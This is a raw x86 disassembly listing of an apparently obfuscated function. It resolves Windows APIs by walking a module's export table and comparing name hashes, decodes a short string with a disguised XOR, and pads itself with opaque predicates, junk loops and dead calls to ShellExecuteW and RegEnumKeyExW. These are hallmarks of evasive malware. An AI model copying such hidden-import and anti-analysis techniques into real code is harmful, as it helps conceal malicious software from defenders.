mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1001b931
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xcfc], 0xe99b96bc
jmp 0x1001b914
mov dword [ebp - 0x14], 0
jmp 0x1001b941
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jge 0x1001b95d
push dword [ebp - 0x14]
lea ecx, [ebp - 0xa34]
call fcn.1001e97a
mov dword [eax], 0xfffffffd
jmp 0x1001b93a
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x36c], 3
jmp 0x1001b988
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x36c]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x36c], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x36c], 0
jl 0x1001baae
mov dword [ebp - 0xafc], 0xfffffffd
mov dword [ebp - 0x1d4], 0
jmp 0x1001b9be
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 1
jge 0x1001b9da
mov eax, dword [ebp - 0x1d4]
mov dword [ebp + eax*4 - 0xbcc], 9
jmp 0x1001b9b1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x36c]
mov dword [ebp - 0xb04], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x36c]
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x36c]
mov ecx, dword [ebp + ecx*4 - 0xac0]
cmp ecx, dword [ebp + eax*4 - 0xac0]
je 0x1001ba20
mov dword [ebp - 0x5e4], 1
jmp 0x1001ba27
and dword [ebp - 0x5e4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x36c]
mov eax, dword [ebp + eax*4 - 0xac0]
cmp eax, dword [ebp - 0x5e4]
jle 0x1001ba4e
mov dword [ebp - 0x8d4], 1
jmp 0x1001ba55
and dword [ebp - 0x8d4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x36c]
mov eax, dword [ebp + eax*4 - 0xac0]
mov dword [ebp - 0xc44], eax
xor esi, esi
add esi, 0xffff63e4
push 2
lea ecx, [ebp - 0xa88]
call fcn.1001e97a
mov dword [eax], esi
push 0
lea ecx, [ebp - 0xa34]
call fcn.1001e97a
mov dword [ebp - 0x5ec], eax
mov eax, dword [ebp - 0x5ec]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x5ec]
mov dword [ecx], eax
jmp 0x1001b96f
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xa34]
call fcn.1001e95e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa88]
call fcn.1001e95e
mov eax, dword [0x106165d0]
and eax, 1
jne 0x1001bb03
mov eax, dword [0x106165d0]
or eax, 1
mov dword [0x106165d0], eax
mov dword [ebp - 4], 0x26
mov ecx, 0x10616600
call fcn.1001e98c
push 0x1006d98c
call fcn.10055545
pop ecx
or dword [ebp - 4], 0xffffffff
movzx eax, byte [0x10616551]
test eax, eax
je 0x1001bb6f
mov ecx, 0x10616600
call fcn.1001ea51
movzx eax, al
test eax, eax
jne 0x1001bb6f
lea eax, [ebp - 0x1dc]
push eax
lea eax, [ebp - 0x5f4]
push eax
mov ecx, 0x10616600
call fcn.1001ea5a
lea eax, [ebp - 0xb0c]
push eax
mov ecx, 0x10616600
call fcn.1001ea43
push eax
lea ecx, [ebp - 0x5f4]
call fcn.1001e8c9
movzx eax, al
test eax, eax
je 0x1001bb6f
lea ecx, [ebp - 0x5f4]
call fcn.1001ea83
mov eax, dword [eax + 4]
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0xffffffff
jne 0x1001bc98
mov ecx, 0x10616600
call fcn.1001eac7
mov ecx, dword [ebp - 0xa8]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x10616600
call fcn.1001eacb
and dword [ebp - 0x128], 0
jmp 0x1001bbb0
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x128]
cmp ecx, dword [eax + 0x18]
jae 0x1001bc98
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x140]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x128]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x5fc], eax
cmp dword [ebp - 0x5fc], 0
je 0x1001bc93
mov eax, dword [ebp - 0x5fc]
mov ecx, dword [ebp - 0x140]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0xcc4]
call fcn.1001e845
mov dword [ebp - 4], 0x27
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0xcc4]
call fcn.1000a2e8
mov dword [ebp - 0x604], eax
movzx eax, byte [0x10616551]
test eax, eax
je 0x1001bc41
mov ecx, 0x10616600
call fcn.1001ea51
movzx eax, al
test eax, eax
jne 0x1001bc61
lea eax, [ebp - 0x604]
push eax
mov ecx, 0x10616600
call fcn.1001ea89
mov ecx, dword [ebp - 0x128]
mov dword [eax], ecx
mov byte [0x10616551], 1
cmp dword [ebp - 0x130], 0xffffffff
jne 0x1001bc84
mov eax, dword [ebp - 0x604]
cmp eax, dword [ebp - 0x1dc]
jne 0x1001bc84
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x130], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcc4]
call fcn.1001e868
jmp 0x1001bba3
push 2
lea ecx, [ebp - 0xbf8]
call fcn.1001e8dc
mov dword [ebp - 4], 0x28
mov dword [ebp - 0x8c], 0
jmp 0x1001bcc5
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 2
jge 0x1001bce7
push dword [ebp - 0x8c]
lea ecx, [ebp - 0xbf8]
call fcn.1001e97a
mov dword [eax], 0x1928
jmp 0x1001bcb8
mov dword [ebp - 0x8c], 0
jmp 0x1001bd00
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 1
jge 0x1001bd1c
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0xf4], 0x38a1f949
jmp 0x1001bcf3
mov dword [ebp - 0x60c], 0x5c3d
mov dword [ebp - 0x954], 0x10007a3c
cmp dword [ebp - 0x60c], 0x5cf5
jle 0x1001bdb4
and dword [ebp - 0x1e4], 0
jmp 0x1001bd52
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0x2593
jge 0x1001bdb4
and dword [ebp - 0x1ec], 0
jmp 0x1001bd74
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0x501c
jge 0x1001bdb2
mov eax, dword [ebp - 0x1e4]
imul eax, dword [ebp - 0x1ec]
cdq
mov dword [ebp - 0x858], eax
mov dword [ebp - 0x854], edx
push dword [ebp - 0x854]
push dword [ebp - 0x858]
mov ecx, 0x106142f8
call fcn.1001e69c
jmp 0x1001bd67
jmp 0x1001bd45
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xf4], 0
jmp 0x1001bde2
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xf4]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xf4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xf4], 1
jg 0x1001be1e
mov byte [ebp - 0x10e], 0
movzx eax, byte [ebp - 0x10e]
test eax, eax
je 0x1001be1c
push 0xf9a
push 0
push 0
push 0
push 0
push 0xe9d
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x1001bdc7
mov byte [ebp - 4], 0x29
cmp dword [ebp - 0x60c], 0x5ae9
jge 0x1001be3e
mov edx, dword [ebp - 0x954]
mov ecx, 0x106142f8
call fcn.10020f77
jmp 0x1001be5a
mov dword [ebp - 4], 0x28
jmp 0x1001be6a
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xf4]
imul ecx, dword [ebp + eax - 0xf4]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xf4], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbf8]
call fcn.1001e95e
cmp dword [ebp + 0x10], 0
jne 0x1001becd
cmp dword [ebp - 0x130], 0xffffffff
je 0x1001becd
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x140]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x130]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x68], ax
mov dword [ebp - 0x138], 0xcea5d6c0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x20c], 0x7249aaed
mov dword [ebp - 0x214], 0x1943c6fe
mov dword [ebp - 0x64c], 0xba10
mov dword [ebp - 0x304], 0x2b46fac5
mov dword [ebp - 0x1f4], 0
jmp 0x1001bf1f
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 4
jge 0x1001bf3b
mov eax, dword [ebp - 0x1f4]
mov dword [ebp + eax*4 - 0x804], 1
jmp 0x1001bf12
mov dword [ebp - 0x138], 0
jmp 0x1001bf54
mov eax, dword [ebp - 0x138]
dec eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0xfffffffd
jge 0x1001c0bb
mov dword [ebp - 0x1fc], 0xeede0b40
mov dword [ebp - 0x204], 1
mov dword [ebp - 0x2fc], 0xfffffff9
mov dword [ebp - 0x1fc], 0
jmp 0x1001bf98
mov eax, dword [ebp - 0x1fc]
dec eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0xffffffea
je 0x1001c0b6
mov dword [ebp - 0x624], 0x4a75
mov dword [ebp - 0x63c], 7
cmp dword [ebp - 0x214], 0xfffa
jb 0x1001bfd1
mov dword [ebp - 0x614], 1
jmp 0x1001bfd8
and dword [ebp - 0x614], 0
mov eax, dword [ebp - 0x2fc]
dec eax
mov dword [ebp - 0x2fc], eax
mov eax, dword [ebp - 0x2fc]
cmp eax, dword [ebp - 0x614]
jle 0x1001bfff
mov dword [ebp - 0x62c], 1
jmp 0x1001c006
and dword [ebp - 0x62c], 0
mov eax, dword [ebp - 0x624]
imul eax, dword [ebp - 0x204]
cmp dword [ebp - 0x214], eax
jl 0x1001c027
mov dword [ebp - 0x61c], 1
jmp 0x1001c02e
and dword [ebp - 0x61c], 0
mov eax, dword [ebp - 0x204]
cmp dword [ebp - 0x61c], eax
je 0x1001c043
cmp dword [ebp - 0x20c], 0
mov eax, dword [ebp - 0x214]
add eax, dword [ebp - 0x624]
mov dword [ebp - 0x204], eax
mov eax, dword [ebp - 0x204]
cmp dword [ebp - 0x62c], eax
jle 0x1001c06f
mov dword [ebp - 0x634], 1
jmp 0x1001c076
and dword [ebp - 0x634], 0
mov eax, dword [ebp - 0x634]
mov dword [ebp - 0x63c], eax
cmp dword [ebp - 0x63c], 0xfa4c8210
jbe 0x1001c09a
mov dword [ebp - 0x644], 1
jmp 0x1001c0a1
and dword [ebp - 0x644], 0
mov eax, dword [ebp - 0x138]
imul eax, dword [ebp - 0x644]
mov dword [ebp - 0x38], eax
jmp 0x1001bf8b
jmp 0x1001bf47
mov dword [ebp - 0x38], 0
jmp 0x1001c0cb
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jg 0x1001c364
mov byte [ebp - 0x107], 0
movzx eax, byte [ebp - 0x107]
test eax, eax
je 0x1001c0fd
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov eax, dword [ebp - 0x38]
cmp dword [ebp + eax*4 - 0x804], 0
jne 0x1001c328
mov eax, dword [ebp - 0x38]
cmp dword [ebp + eax*4 - 0x804], 0
jne 0x1001c215
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x64c]
cmp ecx, dword [ebp + eax*4 - 0x804]
jle 0x1001c13d
mov dword [ebp - 0x654], 1
jmp 0x1001c144
and dword [ebp - 0x654], 0
mov eax, dword [ebp - 0x64c]
cmp dword [ebp - 0x654], eax
jle 0x1001c167
mov eax, 0xffff
test eax, eax
je 0x1001c167
mov dword [ebp - 0x65c], 1
jmp 0x1001c16e
and dword [ebp - 0x65c], 0
cmp dword [ebp - 0x65c], 0x2024
jl 0x1001c186
mov dword [ebp - 0x664], 1
jmp 0x1001c18d
and dword [ebp - 0x664], 0
cmp dword [ebp - 0x664], 0xfffffff8
jbe 0x1001c1a2
mov dword [ebp - 0x66c], 1
jmp 0x1001c1a9
and dword [ebp - 0x66c], 0
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x20c]
imul ecx, dword [ebp - 0x66c]
cmp ecx, dword [ebp + eax*4 - 0x804]
jl 0x1001c1ce
mov dword [ebp - 0x8dc], 1
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x804]
mov dword [ebp - 0xbdc], eax
cmp dword [ebp - 0x304], 0x9c90
jne 0x1001c247
mov dword [ebp - 0x684], 1
jmp 0x1001c24e
and dword [ebp - 0x684], 0
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x684]
sub ecx, dword [ebp + eax*4 - 0x804]
mov dword [ebp - 0x20c], ecx
cmp dword [ebp - 0x20c], 0x266c
jg 0x1001c27c
mov dword [ebp - 0x68c], 1
jmp 0x1001c283
and dword [ebp - 0x68c], 0
mov eax, dword [ebp - 0x304]
cmp dword [ebp - 0x68c], eax
jg 0x1001c29d
mov dword [ebp - 0x694], 1
jmp 0x1001c2a4
and dword [ebp - 0x694], 0
mov eax, dword [ebp - 0x694]
add eax, 0xa3a6
cmp eax, 0x74b7
jne 0x1001c2c2
mov dword [ebp - 0x69c], 1
jmp 0x1001c2c9
and dword [ebp - 0x69c], 0
cmp dword [ebp - 0x69c], 0xd50fa8fa
jae 0x1001c2e1
mov dword [ebp - 0x374], 1
mov eax, dword [ebp - 0x304]
cmp dword [ebp - 0x374], eax
je 0x1001c34c
mov dword [ebp - 0x378], 1
jmp 0x1001c353
and dword [ebp - 0x378], 0
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x138], eax
jmp 0x1001c0c4
movzx eax, word [ebp - 0x68]
cmp eax, 0xffff
je 0x1001c768
movzx eax, word [ebp - 0x68]
mov ecx, dword [ebp - 0xa8]
mov edx, dword [ebp - 0x140]
add edx, dword [ecx + 0x1c]
lea eax, [edx + eax*4]
mov dword [ebp - 0x968], eax
mov eax, dword [ebp - 0x968]
mov ecx, dword [ebp - 0x140]
add ecx, dword [eax]
mov dword [ebp - 0xb0], ecx
mov eax, dword [ebp - 0xb0]
cmp eax, dword [ebp - 0xa8]
jbe 0x1001c75d
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x184]
mov edx, dword [ebp - 0xa8]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0xb0], edx
jae 0x1001c75d
mov eax, dword [0x106165d0]
and eax, 2
jne 0x1001c409
mov eax, dword [0x106165d0]
or eax, 2
mov dword [0x106165d0], eax
mov dword [ebp - 4], 0x2b
push 0x4900
call fcn.1003ed8c
pop ecx
mov byte [0x106165fc], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0xbc], 2
mov byte [ebp - 0xbb], 0xc2
mov byte [ebp - 0xba], 1
mov byte [ebp - 0xb9], 0
mov byte [ebp - 0xb8], 0
mov byte [ebp - 0xb7], 8
mov byte [ebp - 0xb6], 2
mov byte [ebp - 0xb5], 0x91
mov byte [ebp - 0xb4], 0x55
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0xbc]
and eax, 0xae
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0xbc]
or ecx, 0xae
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xbc]
mov byte [ebp + eax - 0x148], cl
mov dword [ebp - 0x3c], 2
and dword [ebp - 0x21c], 0
jmp 0x1001c49e
cmp dword [ebp - 0x3c], 9
jae 0x1001c554
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xbc]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x3c], eax
jne 0x1001c4e8
mov eax, dword [ebp - 0x3c]
movzx eax, byte [ebp + eax - 0xbc]
inc eax
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp - 0x3c]
movzx eax, byte [ebp + eax - 0xbc]
mov ecx, dword [ebp - 0x3c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x3c], eax
jmp 0x1001c496
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x21c]
movzx eax, byte [ebp + eax - 0xbe]
movsx eax, byte [ebp + eax - 0x148]
mov ecx, dword [ebp - 0x3c]
movzx ecx, byte [ebp + ecx - 0xbb]
and ecx, eax
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x21c]
movzx eax, byte [ebp + eax - 0xbe]
movsx eax, byte [ebp + eax - 0x148]
mov edx, dword [ebp - 0x3c]
movzx edx, byte [ebp + edx - 0xbb]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x3c]
movzx eax, byte [ebp + eax - 0xbc]
mov byte [ebp + eax - 0x148], dl
and dword [ebp - 0x21c], 0
jmp 0x1001c496
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x148], 0
mov eax, dword [0x106165d0]
and eax, 4
jne 0x1001c5a0
mov eax, dword [0x106165d0]
or eax, 4
mov dword [0x106165d0], eax
mov dword [ebp - 4], 0x2c
lea eax, [ebp - 0x148]
push eax
mov ecx, 0x10616640
call fcn.1001e845
push 0x1006d97d
call fcn.10055545
pop ecx
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x224], 0
jmp 0x1001c5b6
mov eax, dword [ebp - 0xb0]
jmp 0x1001cbf3
push 2
lea ecx, [ebp - 0x32c]
call fcn.1001e8dc
mov dword [ebp - 4], 0x30
mov dword [ebp - 0xac], 0xffffffff
mov dword [ebp - 0x388], 0x2bc2
mov dword [ebp - 0x8ec], 0x10007a7c
cmp dword [ebp - 0x388], 0x2dee
jle 0x1001c8b4
and dword [ebp - 0x23c], 0
jmp 0x1001c7c0
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0x49bd
jge 0x1001c8b4
and dword [ebp - 0x244], 0
jmp 0x1001c7e6
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0x446
jge 0x1001c8af
and dword [ebp - 0x22c], 0
jmp 0x1001c80c
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0x7c9a
jge 0x1001c8aa
and dword [ebp - 0x234], 0
jmp 0x1001c832
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0x6385
jge 0x1001c8a5
mov eax, dword [ebp - 0x22c]
mov ecx, dword [ebp - 0x234]
sar eax, cl
mov ecx, dword [ebp - 0x23c]
add ecx, dword [ebp - 0x244]
and eax, ecx
cdq
mov dword [ebp - 0x864], eax
mov dword [ebp - 0x860], edx
push dword [ebp - 0x860]
push dword [ebp - 0x864]
lea ecx, [ebp - 0xd3c]
call fcn.1000a23e
pop ecx
pop ecx
mov dword [ebp - 0x964], eax
mov ecx, dword [ebp - 0x964]
call fcn.1001e67c
push eax
call fcn.1005556f
pop ecx
lea ecx, [ebp - 0xd3c]
call fcn.1001e672
jmp 0x1001c825
jmp 0x1001c7ff
jmp 0x1001c7d9
jmp 0x1001c7b3
mov dword [ebp - 0x98], 0
jmp 0x1001c8cd
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 3
jge 0x1001c8e9
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0xa4c], 0xffff
jmp 0x1001c8c0
mov byte [ebp - 4], 0x31
cmp dword [ebp - 0x388], 0x295b
jge 0x1001c905
push dword [ebp - 0x8ec]
call fcn.1005556f
pop ecx
jmp 0x1001c921
mov dword [ebp - 4], 0x30
jmp 0x1001c931
mov dword [ebp - 0x98], 0
jmp 0x1001c94a
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 2
jge 0x1001c96c
push dword [ebp - 0x98]
lea ecx, [ebp - 0x32c]
call fcn.1001e97a
mov dword [eax], 0x714a0256
jmp 0x1001c93d
push 1
lea ecx, [ebp - 0x32c]
call fcn.1001e97a
and dword [eax], 0
jmp 0x1001c9a2
push 1
lea ecx, [ebp - 0x32c]
call fcn.1001e97a
mov dword [ebp - 0x390], eax
mov eax, dword [ebp - 0x390]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x390]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x32c]
call fcn.1001e97a
cmp dword [eax], 3
jge 0x1001c9d0
push 1
lea ecx, [ebp - 0x32c]
call fcn.1001e97a
mov eax, dword [eax]
mov dword [ebp + eax*4 - 0xa4c], 0xffff
jmp 0x1001c97e
mov dword [ebp - 0xac], 1
jmp 0x1001c9e9
mov eax, dword [ebp - 0xac]
dec eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0
jl 0x1001cbe2
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x3b0], 0xffffffff
mov dword [ebp - 0x86c], 5
mov dword [ebp - 0x870], 0x6702e633
mov dword [ebp - 0xa0], 0
jmp 0x1001ca37
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 1
jg 0x1001cbdd
mov dword [ebp - 0x8f4], 0xc4dd
push dword [ebp - 0xa0]
lea ecx, [ebp - 0x32c]
call fcn.1001e97a
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp + eax*4 - 0xa4c]
mov dword [ebp - 0x970], eax
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x970]
mov dword [ebp + eax*4 - 0xa4c], ecx
cmp dword [ebp - 0xa0], 0
je 0x1001caa3
mov eax, 0x73d5
test eax, eax
je 0x1001caa3
mov dword [ebp - 0x398], 1
jmp 0x1001caaa
and dword [ebp - 0x398], 0
mov eax, dword [ebp - 0x8f4]
add eax, dword [ebp - 0x398]
cmp eax, 0x3e75
je 0x1001cac9
mov dword [ebp - 0x3a0], 1
jmp 0x1001cad0
and dword [ebp - 0x3a0], 0
push dword [ebp - 0xac]
lea ecx, [ebp - 0x32c]
call fcn.1001e97a
mov ecx, dword [ebp - 0x3a0]
cmp ecx, dword [eax]
je 0x1001cb00
cmp dword [ebp - 0x86c], 0
je 0x1001cb00
mov dword [ebp - 0x3a8], 1
jmp 0x1001cb07
and dword [ebp - 0x3a8], 0
cmp dword [ebp - 0x3a8], 0x9a275ff4
jbe 0x1001cb1f
mov dword [ebp - 0x3b8], 1
jmp 0x1001cb26
and dword [ebp - 0x3b8], 0
push dword [ebp - 0xac]
lea ecx, [ebp - 0x32c]
call fcn.1001e97a
mov eax, dword [eax]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp - 0x3b0]
cmp eax, dword [ebp - 0x3b8]
je 0x1001cb59
mov dword [ebp - 0x3c0], 1
jmp 0x1001cb60
and dword [ebp - 0x3c0], 0
cmp dword [ebp - 0x3c0], 0x2821
jg 0x1001cb78
mov dword [ebp - 0x3c8], 1
jmp 0x1001cb7f
and dword [ebp - 0x3c8], 0
push 1
lea ecx, [ebp - 0x32c]
call fcn.1001e97a
mov ecx, dword [ebp - 0x3c8]
add ecx, dword [eax]
je 0x1001cb9d
cmp dword [ebp - 0xa0], 0
mov esi, dword [ebp - 0xac]
push 1
lea ecx, [ebp - 0x32c]
call fcn.1001e97a
cmp dword [eax], esi
jl 0x1001cbc0
mov dword [ebp - 0x3d0], 1
jmp 0x1001cbc7
and dword [ebp - 0x3d0], 0
mov eax, dword [ebp - 0x3d0]
add eax, 0xdc50
mov dword [ebp - 0x870], eax
jmp 0x1001ca2a
jmp 0x1001c9dc
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x32c]
call fcn.1001e95e
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret